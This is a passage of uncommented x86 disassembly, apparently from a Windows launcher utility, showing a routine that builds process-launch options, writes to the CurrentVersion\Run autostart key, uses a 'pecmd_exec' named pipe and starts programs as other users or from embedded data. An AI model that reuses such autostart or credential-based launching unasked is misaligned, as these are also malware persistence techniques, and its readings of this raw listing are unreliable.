mov dword [ebp + 0x5c], ebx
call fcn.00403993
mov esi, eax
cmp esi, ebx
jne 0x407b2d
lea ecx, [ebp + 0x54]
call fcn.00424686
lea ecx, [ebp + 0x30]
call fcn.00424686
jmp 0x40791a
cmp dword [ebp + 0x2c], ebx
je 0x407b3d
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [ebp + 0x5b], 1
jne 0x407b48
mov dword [ebp + 0x40], esi
jmp 0x407b18
cmp byte [ebp + 0x5b], 3
mov dword [ebp + 0x14], esi
je 0x407b43
mov dword [ebp + 0x38], esi
jmp 0x407b18
mov ecx, dword [ebp - 4]
xor edx, edx
inc edx
cmp ecx, ebx
mov eax, 0x100
je 0x407b74
or dword [ebp - 0x190], eax
mov dword [ebp + 0xc], edx
mov dword [ebp - 0x184], ecx
mov ecx, dword [ebp + 0x40]
cmp ecx, ebx
je 0x407b8a
or dword [ebp - 0x190], eax
mov dword [ebp + 0xc], edx
mov dword [ebp - 0x180], ecx
mov ecx, dword [ebp + 0x14]
cmp ecx, ebx
je 0x407ba0
or dword [ebp - 0x190], eax
mov dword [ebp + 0xc], edx
mov dword [ebp - 0x17c], ecx
mov ecx, dword [ebp + 0x48]
push 1
push ebx
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x1c]
call fcn.0043dcfa
mov eax, dword [ebp - 0x7c]
mov dword [ebp + 0x68], eax
xor edi, edi
inc edi
mov esi, 0x10000000
mov eax, dword [ebp + 0x68]
mov ax, word [eax]
cmp ax, 0x21
je 0x407bf1
cmp ax, 0x2a
je 0x407bf1
cmp ax, 0x40
jne 0x407bfa
push str.WinSta0WinLogon
lea ecx, [ebp - 0x58]
call fcn.00424710
mov eax, dword [ebp - 0x58]
inc byte [ebp + 0x3f]
mov dword [ebp - 0x1b4], eax
mov dword [ebp + 4], esi
add dword [ebp + 0x68], 2
jmp 0x407bc0
cmp ax, 0x3d
jne 0x407c05
mov dword [ebp], edi
jmp 0x407bf4
cmp ax, 0x24
jne 0x407c11
mov byte [ebp + 0x47], 1
jmp 0x407bf4
cmp ax, 0x26
jne 0x407c20
mov dword [ebp + 4], 3
jmp 0x407bf4
cmp ax, 0x5e
jne 0x407c2f
mov dword [ebp + 4], 6
jmp 0x407bf4
cmp ax, 0x5f
je 0x407c26
test byte [ebp + 0x3f], 1
je 0x407c56
call fcn.0040b038
cmp eax, 0x60000
jb 0x407c56
call fcn.004035b3
cmp eax, edi
jge 0x407c56
mov dword [ebp - 0x1b4], ebx
mov eax, dword [ebp + 0x7c]
cmp eax, ebx
je 0x407c73
or byte [ebp - 0x18f], 1
mov dword [ebp], ebx
mov byte [ebp + 0x73], bl
mov dword [ebp + 0xc], edi
mov dword [ebp - 0x180], eax
cmp byte [ebp + 0x47], bl
je 0x407c8d
mov eax, dword [ebp - 0x50]
cmp word [eax], bx
jne 0x407c8d
push str.open
lea ecx, [ebp - 0x50]
call fcn.0042a1b7
mov eax, dword [ebp + 4]
cmp eax, esi
jne 0x407c9b
or byte [ebp - 0x190], 0x80
cmp eax, ebx
je 0x407cac
or dword [ebp - 0x190], edi
mov word [ebp - 0x18c], ax
mov al, byte [ebp + 0x3f]
and al, 3
cmp al, 1
je 0x407cba
cmp byte [ebp - 0xd], bl
je 0x407cc1
or byte [ebp - 0x18d], 8
cmp byte [ebp - 0xc], bl
je 0x407d10
push 0x5c
push dword [ebp + 0x68]
call dword [sym.imp.SHLWAPI.dll_StrChrW]
mov esi, eax
cmp esi, ebx
je 0x407cdb
inc esi
inc esi
jmp 0x407cde
mov esi, dword [ebp + 0x68]
push dword [ebp + 0x68]
call fcn.0046176a
shl eax, 1
push eax
push dword [ebp + 0x68]
xor eax, eax
cmp dword [ebp], ebx
push edi
setne al
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
add eax, 0x80000001
push eax
call fcn.00425503
add esp, 0x1c
mov ebx, eax
jmp 0x40914d
lea ecx, [ebp + 0x68]
call fcn.00403937
cmp dword [ebp + 0x34], ebx
mov dword [ebp + 0x20], ebx
mov dword [ebp - 0x6c], ebx
je 0x407dac
lea ecx, [ebp + 0x14]
mov byte [ebp + 0x47], bl
call fcn.0042460b
mov ecx, dword [ebp + 0x48]
push 0xffffffffffffffff
push ebx
push dword [ebp + 0x34]
call fcn.0040e8be
cmp eax, ebx
je 0x407d9a
mov ecx, dword [eax]
cmp word [ecx], bx
je 0x407d9a
push eax
lea ecx, [ebp + 0x14]
call fcn.0042a1e5
push dword [ebp + 0x68]
lea ecx, [ebp - 0x6c]
call fcn.00424710
push dword [ebp - 0x80]
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0x14]
call fcn.00405e28
mov esi, eax
mov eax, dword [ebp - 0x64]
mov dword [ebp + 0x1c], eax
mov eax, dword [ebp - 0x6c]
add esp, 0x14
lea ecx, [ebp + 0x14]
mov dword [ebp + 0x68], eax
call fcn.00424686
cmp esi, ebx
je 0x407dac
mov ebx, esi
jmp 0x40913d
lea ecx, [ebp + 0x14]
call fcn.00424686
mov ebx, 0x80070057
jmp 0x40913d
mov eax, dword [ebp - 0x68]
cmp word [eax], bx
je 0x407dfc
push dword [ebp + 0x68]
call fcn.00412d51
pop ecx
push eax
lea ecx, [ebp + 0x78]
mov dword [ebp + 0x68], eax
call fcn.0042a183
push 0x476260
lea ecx, [ebp + 0x78]
call fcn.004246c0
push dword [ebp - 0x68]
lea ecx, [ebp + 0x78]
call fcn.004246c0
mov ecx, dword [ebp + 0x48]
push ebx
push dword [ebp + 0x78]
call fcn.00430685
mov ebx, eax
lea ecx, [ebp + 0x78]
call fcn.00424686
jmp 0x40913d
cmp byte [ebp - 0xb], bl
je 0x407fb9
lea ecx, [ebp + 0x70]
call fcn.0042460b
push dword [ebp + 0x68]
mov dword [ebp + 0x78], ebx
call fcn.00412d51
pop ecx
lea ecx, [ebp + 0x7c]
mov dword [ebp + 0x68], eax
call fcn.0042460b
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp + 0x7c]
push eax
push dword [ebp + 0x68]
mov dword [ebp + 0x6c], ebx
call fcn.0042921d
mov eax, dword [ebp + 0x6c]
add esp, 0xc
cmp eax, ebx
jne 0x407e51
lea ecx, [ebp + 0x7c]
call fcn.00424686
lea ecx, [ebp + 0x70]
jmp 0x407d9d
mov word [eax - 2], bx
call dword [sym.imp.USER32.dll_CreatePopupMenu]
push dword [ebp + 0x6c]
lea ecx, [ebp + 0x30]
mov esi, eax
call fcn.0042a183
lea eax, [ebp + 0x7c]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0042a1a0
push esi
lea ecx, [ebp + 0x70]
push ecx
lea ecx, [ebp + 0x78]
push ecx
push dword [ebp + 0x30]
push dword [eax]
call fcn.00404db8
add esp, 0x14
lea ecx, [ebp - 0x1c]
call fcn.00424686
lea ecx, [ebp + 0x30]
call fcn.00424686
cmp dword [ebp + 0x78], ebx
jg 0x407eb6
lea ecx, [ebp + 0x7c]
call fcn.00424686
lea ecx, [ebp + 0x70]
call fcn.00424686
mov ebx, edi
jmp 0x40913d
mov edi, dword [ebp + 0x48]
mov eax, dword [edi + 0x28]
push dword [eax + 0x18]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [edi + 0x28]
push ebx
push dword [eax + 0x18]
push ebx
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
push 0x128
push esi
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push ebx
mov edi, eax
mov eax, dword [ebp + 0x48]
mov eax, dword [eax + 0x28]
push ebx
push ebx
push dword [eax + 0x18]
call dword [sym.imp.USER32.dll_PostMessageW]
push esi
call dword [sym.imp.USER32.dll_DestroyMenu]
lea eax, [edi - 0xbb8]
cmp eax, ebx
jl 0x407fa9
cmp eax, dword [ebp + 0x78]
jge 0x407fa9
cmp eax, ebx
mov ecx, dword [ebp + 0x70]
mov dword [ebp + 0x78], ecx
jle 0x407f5c
mov esi, eax
lea eax, [ebp + 0x78]
call fcn.0040e4de
mov eax, dword [ebp + 0x78]
movzx eax, word [eax]
push eax
call fcn.0040965c
add esp, 4
test al, al
je 0x407f42
add dword [ebp + 0x78], 2
mov eax, dword [ebp + 0x78]
movzx eax, word [eax]
push eax
call fcn.0040965c
add esp, 4
test al, al
je 0x407f59
add dword [ebp + 0x78], 2
dec esi
jne 0x407f23
mov esi, dword [ebp + 0x78]
lea eax, [ebp + 0x78]
call fcn.0040e4de
mov eax, dword [ebp + 0x78]
mov word [eax], bx
cmp word [esi], bx
je 0x407fa9
push dword [ebp + 0x68]
lea ecx, [ebp + 0x74]
call fcn.0042a183
push 0x476260
lea ecx, [ebp + 0x74]
call fcn.004246c0
push esi
lea ecx, [ebp + 0x74]
call fcn.004246c0
mov ecx, dword [ebp + 0x48]
push ebx
push dword [ebp + 0x74]
call fcn.00430685
lea ecx, [ebp + 0x74]
mov ebx, eax
call fcn.00424686
lea ecx, [ebp + 0x7c]
call fcn.00424686
lea ecx, [ebp + 0x70]
jmp 0x407df2
push dword [ebp + 0x68]
lea ecx, [ebp - 0xcc]
call fcn.0042a183
cmp byte [0x48ad50], bl
mov eax, dword [ebp - 0xcc]
mov esi, dword [ebp + 0x6c]
mov dword [ebp + 0x68], eax
jne 0x407fe9
cmp esi, ebx
je 0x407fe4
cmp byte [esi + 8], bl
jne 0x407fe9
mov byte [ebp + 0x7f], bl
jmp 0x407fed
mov byte [ebp + 0x7f], 1
push ebx
lea ecx, [ebp + 0x2c]
call fcn.0042a183
cmp byte [ebp + 0x7f], bl
mov dword [ebp + 0x5c], ebx
je 0x40825f
push 0x48b5d4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push ebx
lea ecx, [ebp - 0x214]
call fcn.0040e813
cmp esi, ebx
je 0x40802a
push ebx
push esi
lea ecx, [ebp - 0x214]
call fcn.00426740
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov edi, eax
push 0x106
lea ecx, [ebp + 0x54]
mov dword [ebp - 0x1c], edi
call fcn.0042465d
mov eax, dword [ebp + 0x54]
mov dword [ebp + 0x6c], eax
jmp 0x4080c2
mov dword [ebp + 0x7c], edi
jmp 0x408055
cmp ax, 0x3d
je 0x40805f
inc edi
inc edi
mov ax, word [edi]
cmp ax, bx
jne 0x40804f
mov esi, edi
sub esi, dword [ebp + 0x7c]
sar esi, 1
cmp word [edi], bx
je 0x4080c0
cmp word [edi + 2], bx
je 0x4080bb
cmp esi, 0x104
jg 0x4080bb
push esi
push dword [ebp + 0x7c]
push dword [ebp + 0x6c]
call fcn.0040391f
mov eax, dword [ebp + 0x6c]
add esp, 0xc
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x214]
mov word [eax + esi*2], bx
call fcn.0040a6dc
test eax, eax
jne 0x4080bb
push 0xffffffffffffffff
push esi
lea eax, [edi + 2]
push eax
push dword [ebp + 0x7c]
lea ecx, [ebp - 0x214]
call fcn.0040a63c
jmp 0x4080bb
inc edi
inc edi
cmp word [edi], bx
jne 0x4080b9
inc edi
inc edi
cmp word [edi], bx
jne 0x40804a
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov ecx, dword [ebp - 0x210]
xor eax, eax
cmp ecx, ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x7c], ecx
mov dword [ebp + 0x6c], eax
jle 0x408170
jmp 0x4080ee
mov eax, dword [ebp + 0x6c]
lea edi, [eax + 1]
cmp edi, dword [ebp + 0x7c]
mov dword [ebp + 0x4c], eax
mov dword [ebp - 0x28], edi
jge 0x408161
mov eax, dword [ebp + 0x6c]
shl eax, 2
mov dword [ebp - 0x1c], eax
mov dword [ebp + 0x30], eax
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp + 0x30]
mov ecx, dword [ecx + eax]
mov ecx, dword [ecx]
mov esi, edi
shl esi, 2
mov eax, dword [eax + esi]
mov eax, dword [eax]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jge 0x408132
mov dword [ebp + 0x4c], edi
mov dword [ebp + 0x30], esi
inc edi
cmp edi, dword [ebp + 0x7c]
jl 0x408108
mov eax, dword [ebp + 0x4c]
cmp eax, dword [ebp + 0x6c]
je 0x408161
mov edx, dword [ebp - 0x214]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0x4c]
add eax, edx
mov esi, dword [eax]
shl ecx, 2
mov edx, dword [edx + ecx]
mov dword [eax], edx
mov eax, dword [ebp - 0x214]
mov dword [eax + ecx], esi
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp + 0x7c]
mov dword [ebp + 0x6c], eax
jl 0x4080eb
xor edi, edi
cmp dword [ebp + 0x7c], ebx
jle 0x4081ae
mov eax, dword [ebp - 0x214]
mov eax, dword [eax + edi*4]
push dword [eax]
call fcn.0046176a
mov ecx, dword [ebp + 0x34]
lea esi, [ecx + eax + 1]
mov eax, dword [ebp - 0x214]
mov eax, dword [eax + edi*4]
push dword [eax + 4]
call fcn.0046176a
inc edi
cmp edi, dword [ebp + 0x7c]
pop ecx
lea eax, [esi + eax + 3]
pop ecx
mov dword [ebp + 0x34], eax
jl 0x408177
mov eax, dword [ebp + 0x34]
add eax, 4
push eax
lea ecx, [ebp + 0x2c]
call fcn.00424699
mov edi, dword [ebp + 0x2c]
xor esi, esi
cmp dword [ebp + 0x7c], ebx
mov dword [ebp + 0x5c], edi
jle 0x40822e
mov eax, dword [ebp - 0x214]
mov eax, dword [eax + esi*4]
mov eax, dword [eax]
push eax
mov dword [ebp + 0x6c], eax
call fcn.0046176a
push eax
push dword [ebp + 0x6c]
mov dword [ebp + 0x4c], eax
push edi
call fcn.0040391f
mov eax, dword [ebp + 0x4c]
lea edi, [edi + eax*2]
mov word [edi], 0x3d
mov eax, dword [ebp - 0x214]
mov eax, dword [eax + esi*4]
mov eax, dword [eax + 4]
inc edi
push eax
inc edi
mov dword [ebp + 0x6c], eax
call fcn.0046176a
push eax
push dword [ebp + 0x6c]
mov dword [ebp + 0x4c], eax
push edi
call fcn.0040391f
mov eax, dword [ebp + 0x4c]
lea edi, [edi + eax*2]
add esp, 0x20
mov word [edi], bx
inc edi
inc edi
inc esi
cmp esi, dword [ebp + 0x7c]
jl 0x4081ca
mov word [edi], bx
lea ecx, [ebp + 0x54]
mov word [edi + 2], bx
call fcn.00424686
push ebx
lea ecx, [ebp - 0x214]
call fcn.0040e851
lea ecx, [ebp - 0x1e0]
call fcn.00424686
push 0x48b5d4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0x18]
xor al, al
cmp word [ecx], 0x40
jne 0x40826e
inc al
jmp 0x408275
cmp dword [ebp - 0x54], ebx
je 0x408275
mov al, 2
cmp byte [ebp + 0x73], bl
je 0x408371
or byte [ebp + 0x73], 8
xor esi, esi
inc esi
neg al
mov dword [ebp], esi
sbb eax, eax
and eax, 0xfff01000
add eax, 0x100000
mov edi, eax
call fcn.004264c1
push eax
lea eax, [ebp - 0x118]
push str..pipepecmd_exec__u
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
push esi
push edi
push edi
push 0xff
push 6
push 0x40000003
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x408313
cmp eax, 0xffffffff
je 0x408313
push 0xffffffffffffffff
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp + 0x7c]
call fcn.00424642
push ebx
push ebx
push 3
lea ecx, [ebp - 0xe4]
push ecx
push 7
push 0xc0000000
push dword [eax]
lea ecx, [ebp - 0x2c]
call fcn.00403993
lea ecx, [ebp + 0x7c]
call fcn.00424686
jmp 0x40831a
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp - 0x2c]
push ebx
push ebx
lea eax, [ebp + 0x6c]
push eax
push edi
mov dword [ebp + 0x6c], 2
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
push ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
or byte [ebp - 0x18f], 1
test byte [ebp + 0x77], 2
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x24], esi
mov dword [ebp + 0xc], esi
jne 0x40835f
cmp byte [ebp + 0x77], bl
jne 0x408365
mov dword [ebp - 0x180], edi
test byte [ebp + 0x77], 1
je 0x408387
mov dword [ebp - 0x17c], edi
cmp dword [ebp], ebx
jne 0x408387
push 0xffffffffffffffff
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
push 0x48b5d4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 0x5c]
neg eax
sbb eax, eax
and eax, 0x400
or eax, dword [ebp + 0x28]
cmp byte [ebp + 0x27], bl
mov dword [ebp + 0x54], ebx
mov dword [ebp + 0x6c], eax
je 0x4083b0
or dword [ebp + 0x6c], 4
cmp byte [ebp - 0xa], bl
mov dword [ebp - 0x28], ebx
mov dword [ebp + 0x28], ebx
je 0x4083c8
lea eax, [ebp - 0x28]
push eax
call fcn.00402e81
pop ecx
mov dword [ebp + 0x28], eax
cmp byte [ebp + 0x47], bl
je 0x408480
push 0xd
xor eax, eax
mov dword [ebp - 0x130], ebx
pop ecx
lea edi, [ebp - 0x12c]
mov dword [ebp - 0x134], 0x3c
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 4]
or word [ebp - 0x130], 0x4540
cmp eax, ebx
jne 0x408401
push 5
pop eax
movzx eax, ax
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp + 0x68]
mov dword [ebp + 0x7c], ebx
mov dword [ebp + 0x74], eax
mov dword [ebp - 0x124], eax
cmp word [eax], 0x22
jne 0x40845f
push 1
lea eax, [ebp + 0x7c]
push eax
lea eax, [ebp + 0x74]
push eax
call fcn.004124b4
add esp, 0xc
push dword [ebp + 0x7c]
lea ecx, [ebp - 0x88]
push dword [ebp + 0x74]
mov esi, eax
call fcn.00409ba0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], esi
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp + 0x74], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xc0], eax
jmp 0x4088aa
cmp byte [ebp - 0xe], bl
je 0x4084d9
call fcn.00405d97
push dword [ebp + 0x68]
mov dword [ebp - 0x90], eax
push dword [ebp + 0x1c]
lea eax, [ebp + 0x54]
push dword [ebp + 8]
push eax
call fcn.00406074
add esp, 0x10
lea ecx, [ebp - 0xc0]
push ecx
lea ecx, [ebp - 0x1bc]
push ecx
push eax
push dword [ebp + 0x5c]
push dword [ebp + 0x6c]
push dword [ebp + 0xc]
push ebx
push ebx
push dword [ebp + 0x68]
push dword [ebp + 0x1c]
push dword [ebp - 0x90]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov dword [ebp + 0x74], eax
jmp 0x4088aa
mov eax, dword [ebp - 0x48]
cmp word [eax], bx
je 0x408610
cmp byte [ebp + 0x1b], bl
mov dword [ebp + 0x74], ebx
je 0x408577
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp + 0x4c]
call fcn.0040294d
lea ecx, [ebp + 0x7c]
call fcn.00424559
mov esi, dword [ebp - 0x40]
push esi
call fcn.0046176a
shl eax, 1
push eax
push ebx
push esi
call fcn.00461780
lea eax, [ebp + 0x7c]
push eax
push dword [ebp + 0x4c]
call fcn.00427912
add esp, 0x18
push 0xffffffffffffffff
mov edi, eax
neg edi
push 0xffffffffffffffff
push dword [ebp + 0x7c]
sbb edi, edi
lea ecx, [ebp - 0x40]
neg edi
call fcn.00409aca
mov esi, dword [ebp + 0x4c]
push esi
call fcn.004617f0
push eax
push ebx
push esi
call fcn.00461780
mov esi, dword [ebp + 0x7c]
push esi
call fcn.004617f0
push eax
push ebx
push esi
call fcn.00461780
add esp, 0x20
lea ecx, [ebp + 0x7c]
call fcn.00424686
lea ecx, [ebp + 0x4c]
call fcn.00424686
cmp edi, ebx
je 0x4085e2
mov esi, dword [ebp - 0x48]
mov edi, dword [sym.imp.SHLWAPI.dll_StrChrW]
push 0x40
push esi
call edi
cmp eax, ebx
jne 0x408592
push 0x5c
push esi
call edi
cmp eax, ebx
je 0x40859d
mov word [eax], bx
mov edi, dword [ebp - 0x48]
lea esi, [eax + 2]
jmp 0x4085a2
mov edi, 0x476244
push dword [ebp + 0x68]
lea eax, [ebp + 0x54]
push dword [ebp + 0x1c]
push dword [ebp + 8]
push eax
call fcn.00406074
add esp, 0x10
lea ecx, [ebp - 0xc0]
push ecx
lea ecx, [ebp - 0x1bc]
push ecx
push eax
push dword [ebp + 0x5c]
push dword [ebp + 0x6c]
push dword [ebp + 0x68]
push dword [ebp + 0x1c]
push 1
push dword [ebp - 0x40]
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov dword [ebp + 0x74], eax
mov esi, dword [ebp - 0x40]
push esi
call fcn.0046176a
shl eax, 1
push eax
push ebx
push esi
call fcn.00461780
mov esi, dword [ebp - 0x48]
push esi
call fcn.0046176a
shl eax, 1
push eax
push ebx
push esi
call fcn.00461780
add esp, 0x20
jmp 0x4088aa
cmp byte [ebp + 0x3e], bl
je 0x408658
push dword [ebp + 0x10]
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x1bc]
push eax
push dword [ebp + 8]
push dword [ebp + 0x5c]
push dword [ebp + 0x6c]
push dword [ebp + 0xc]
push dword [ebp + 0x68]
push dword [ebp - 0xd4]
push dword [ebp - 0xd8]
call fcn.004337a8
xor ecx, ecx
add esp, 0x28
test eax, eax
setg cl
mov dword [ebp + 0x74], ecx
jmp 0x4088aa
mov eax, dword [ebp + 0x1c]
xor esi, esi
cmp eax, ebx
mov dword [ebp + 0x74], ebx
mov dword [ebp + 0x4c], ebx
je 0x408692
cmp word [eax], 0x2a
jne 0x408692
mov byte [ebp + 0x7f], 1
add eax, 2
cmp eax, ebx
je 0x408697
cmp word [eax], 0x23
jne 0x408697
mov cx, word [eax + 2]
cmp cx, 0x30
jb 0x408697
cmp cx, 0x39
ja 0x408697
mov esi, eax
jmp 0x4086ab
mov byte [ebp + 0x7f], bl
jmp 0x408674
mov eax, dword [ebp + 0x68]
cmp eax, ebx
je 0x4086a8
cmp word [eax], 0x2a
mov byte [ebp + 0x7f], 1
je 0x4086ab
mov byte [ebp + 0x7f], bl
push str.EXEDATA
lea ecx, [ebp + 0x10]
call fcn.0042a183
cmp esi, ebx
je 0x40885d
lea edi, [esi + 2]
mov ax, word [edi]
cmp ax, 0x30
jb 0x4086d6
cmp ax, 0x39
ja 0x4086d6
inc edi
inc edi
jmp 0x4086c3
mov eax, edi
sub eax, esi
sar eax, 1
push eax
push esi
lea ecx, [ebp + 0x4c]
call fcn.00409ba0
cmp word [edi], 0x7c
mov esi, dword [ebp + 0x4c]
jne 0x40870f
inc edi
lea eax, [ebp + 0x30]
inc edi
push eax
mov dword [ebp + 0x30], edi
call fcn.00403953
mov eax, dword [ebp + 0x30]
pop ecx
sub eax, edi
sar eax, 1
push eax
push edi
lea ecx, [ebp + 0x10]
call fcn.00409ba0
cmp esi, ebx
je 0x40885d
lea ecx, [ebp - 0x3c]
call fcn.00424559
push esi
lea ecx, [ebp + 0x30]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
call fcn.0042a183
push 0x20
lea eax, [ebp - 0x3c]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push ebx
call fcn.0040e9a5
add esp, 0x14
lea ecx, [ebp + 0x30]
mov edi, eax
call fcn.00424686
cmp edi, ebx
jne 0x408779
push esi
push 0x47622c
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x408779
push 0x20
lea eax, [ebp - 0x3c]
push eax
push str.INDATA
push 2
push ebx
call fcn.0040e9a5
add esp, 0x14
mov edi, eax
cmp dword [ebp - 0x38], ebx
jle 0x408853
cmp edi, ebx
je 0x408853
cmp byte [ebp + 0x7f], bl
jne 0x4087cc
push ebx
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x1bc]
push eax
push dword [ebp + 8]
push dword [ebp + 0x5c]
push dword [ebp + 0x6c]
push dword [ebp + 0xc]
push dword [ebp + 0x68]
push dword [ebp - 0x38]
push edi
call fcn.004337a8
add esp, 0x28
cmp eax, ebx
jl 0x4087cc
xor ecx, ecx
cmp eax, ebx
setg cl
mov dword [ebp + 0x74], ecx
jmp 0x408853
push str.exedat
lea eax, [ebp + 0x7c]
push eax
lea eax, [ebp + 0x34]
push eax
lea eax, [ebp - 0x78]
push eax
mov dword [ebp + 0x7c], ebx
mov dword [ebp + 0x34], ebx
call fcn.00403a5a
add esp, 0x10
cmp dword [ebp + 0x7c], ebx
je 0x40884b
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [ebp - 0x38]
mov dword [ebp + 0x74], ebx
push edi
push dword [ebp + 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x68]
lea eax, [ebp + 0x54]
push dword [ebp + 0x34]
push dword [ebp + 8]
push eax
call fcn.00406074
lea ecx, [ebp - 0xc0]
push ecx
lea ecx, [ebp - 0x1bc]
push ecx
push eax
push dword [ebp + 0x5c]
push dword [ebp + 0x6c]
push dword [ebp + 0xc]
push ebx
push ebx
push dword [ebp + 0x68]
push dword [ebp + 0x34]
call fcn.0046148c
add esp, 0x38
mov dword [ebp + 0x74], eax
lea ecx, [ebp + 0x34]
call fcn.00424686
lea ecx, [ebp - 0x3c]
call fcn.00424686
jmp 0x40889a
push dword [ebp + 0x68]
lea eax, [ebp + 0x54]
push dword [ebp + 0x1c]
push dword [ebp + 8]
push eax
call fcn.00406074
lea ecx, [ebp - 0xc0]
push ecx
lea ecx, [ebp - 0x1bc]
push ecx
push eax
push dword [ebp + 0x5c]
push dword [ebp + 0x6c]
push dword [ebp + 0xc]
push ebx
push ebx
push dword [ebp + 0x68]
push dword [ebp + 0x1c]
call fcn.0046148c
add esp, 0x38
mov dword [ebp + 0x74], eax
lea ecx, [ebp + 0x10]
call fcn.00424686
lea ecx, [ebp + 0x4c]
call fcn.00424686
cmp dword [ebp + 0x28], ebx
je 0x4088b8
push dword [ebp - 0x28]
call fcn.00402e92
pop ecx
cmp dword [ebp - 0x20], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x4088c8
push dword [ebp - 0x20]
call esi
cmp dword [ebp + 0x74], ebx
mov dword [ebp - 0x20], ebx
je 0x4088d4
xor eax, eax
jmp 0x4088da
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x78]
mov dword [ecx], eax
lea ecx, [ebp + 0x20]
mov dword [ebp + 0x7c], eax
call fcn.00402905
mov eax, dword [ebp - 0x74]
cmp word [eax], bx
je 0x40891f
push dword [ebp - 0xb8]
lea eax, [ebp - 0x120]
push 0x476214
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp + 0x48]
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x74]
call fcn.00428e1b
cmp byte [ebp + 0x27], bl
je 0x408944
cmp dword [ebp - 0xc0], ebx
je 0x408944
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push dword [ebp - 0xc0]
mov dword [ebp - 0x30], eax
push eax
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
test byte [ebp + 0x6c], 4
je 0x40895e
cmp dword [ebp - 0xbc], ebx
je 0x40895e
push dword [ebp - 0xbc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea ecx, [ebp + 0x54]
call fcn.00424686
push 0x48b5d4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ecx, [ebp + 0x2c]
call fcn.00424686
cmp dword [ebp - 0x2c], ebx
je 0x408983
push dword [ebp - 0x2c]
call esi
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
je 0x408990
push dword [ebp - 0x14]
call esi
cmp dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
je 0x40899d
push dword [ebp - 4]
call esi
cmp dword [ebp + 0x40], ebx
mov dword [ebp - 4], ebx
je 0x4089aa
push dword [ebp + 0x40]
call esi
cmp dword [ebp + 0x38], ebx
mov dword [ebp + 0x40], ebx
je 0x4089b7
push dword [ebp + 0x38]
call esi
cmp dword [ebp + 0x74], ebx
mov dword [ebp + 0x38], ebx
je 0x409079
mov eax, dword [ebp - 0xc0]
cmp eax, ebx
jne 0x4089d0
mov dword [ebp], ebx
mov ecx, dword [ebp - 0x24]
inc dword [ebp - 0x24]
cmp dword [ebp - 0xbc], ebx
mov dword [ebp + ecx*4 - 0xc8], eax
je 0x4089ed
push dword [ebp - 0xbc]
call esi
cmp byte [ebp + 0x53], bl
mov dword [ebp - 0xbc], ebx
je 0x408a11
mov ecx, dword [ebp + 0x48]
push 0x3e8
call fcn.0040ac88
push dword [ebp - 0xc0]
call fcn.0040b3c0
pop ecx
cmp dword [ebp], ebx
je 0x409079
mov al, byte [0x4892b4]
mov esi, 0x100000
push 0x100004
